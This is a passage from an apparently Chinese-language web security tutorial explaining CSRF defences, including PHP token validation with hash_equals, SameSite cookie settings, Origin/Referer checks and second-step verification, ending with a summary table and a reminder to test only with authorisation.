echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';

// 验证 Token(服务端)
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token 验证失败');
}

为什么用 hash_equals 而不是 === === 是时间敏感的比较,攻击者可以通过计时侧信道攻击逐字节猜测 Token。hash_equals 是恒定时间比较,防止此类攻击。

SameSite 是现代浏览器对 Cookie 的约束属性,从浏览器层面防止 CSRF,是目前最推荐的防御方式之一:

Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
SameSite 值 行为 防 CSRF 效果
Strict 完全禁止跨站携带 Cookie 最强,但可能影响正常从外部链接跳入的场景(如从邮件链接打开登录页)
Lax 允许安全的跨站 GET 导航(如链接跳转),但 POST/PUT 等跨站请求不带 Cookie 较强,Chrome 80+ 的默认值
None 允许所有跨站请求携带 Cookie(必须同时设置 Secure) 无防护

SameSite=Lax 对 GET 型 CSRF 的防护效果需要区分场景:

第 10.1 节中演示的 GET 型 CSRF,利用的是 <img><iframe> 发起跨站 GET 请求。在 SameSite=Lax 下,这两种方式发起的跨站请求不会携带 Cookie,因此攻击已被防住。

但 Lax 允许顶层导航(用户点击链接跳转)的 GET 请求携带 Cookie,所以如果敏感操作真的通过 GET 实现,攻击者仍可诱导用户直接点击恶意链接来触发。这也是敏感操作必须使用 POST 的原因之一。

注意: Chrome 80(2020年2月)之后,未明确设置 SameSite 的 Cookie 默认按 Lax 处理,但旧版浏览器仍然默认允许跨站携带 Cookie,所以不能只依赖浏览器的默认行为,应该明确设置。

13.3 验证 Origin/Referer 头(辅助手段)

在服务端验证请求来源,作为 Token 的辅助防线:

$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed = 'https://example.com';

// 优先检查 Origin,不存在时检查 Referer
$source = $origin ?: parse_url($referer, PHP_URL_SCHEME) . '://' . parse_url($referer, PHP_URL_HOST);

if ($source !== $allowed) {
    die('来源验证失败');
}

局限性:

  • Referer 可以被浏览器配置或隐私插件屏蔽,不能单独依赖
  • Origin 对所有非简单请求都会发送,更可靠,但不是所有浏览器都支持(现代浏览器均支持)
  • 这两个头都可以被服务端代码误判(如校验逻辑不严格),见第 11.4 节

13.4 关键操作二次验证

对于特别敏感的操作(转账、修改密码、删除账号),加上二次验证:

  • 要求用户重新输入密码
  • 发送短信/邮件验证码
  • 二次确认弹窗(注意:纯前端弹窗可以被 XSS+CSRF 绕过,服务端验证码更可靠)

13.5 防御策略总结

防御手段 效果 推荐程度
CSRF Token 强,主流方案 ⭐⭐⭐⭐⭐
SameSite=Strict Cookie 强,浏览器层防御 ⭐⭐⭐⭐⭐
SameSite=Lax Cookie 较强,Chrome 默认 ⭐⭐⭐⭐
验证 Origin/Referer 中,作为辅助层 ⭐⭐⭐
关键操作二次验证 强,但影响体验 ⭐⭐⭐⭐
仅靠 HTTPS 无效(不能防 CSRF)
仅靠 POST 无效(POST 同样可伪造)

最佳实践: CSRF Token + SameSite Cookie 双重防护,对特别敏感操作加二次验证。


附录:XSS 与 CSRF 防御速查

XSS 防御核查清单

CSRF 防御核查清单


写在最后: XSS 和 CSRF 常常组合出现,单独防御任何一个都不够。理解两者的原理和联系,才能构建真正有效的防御体系。请始终在授权范围内进行安全测试。Stay Legal! 🔐

posted on 2026-06-01 22:40  坐渔南渊  阅读(2)  评论(0)    收藏  举报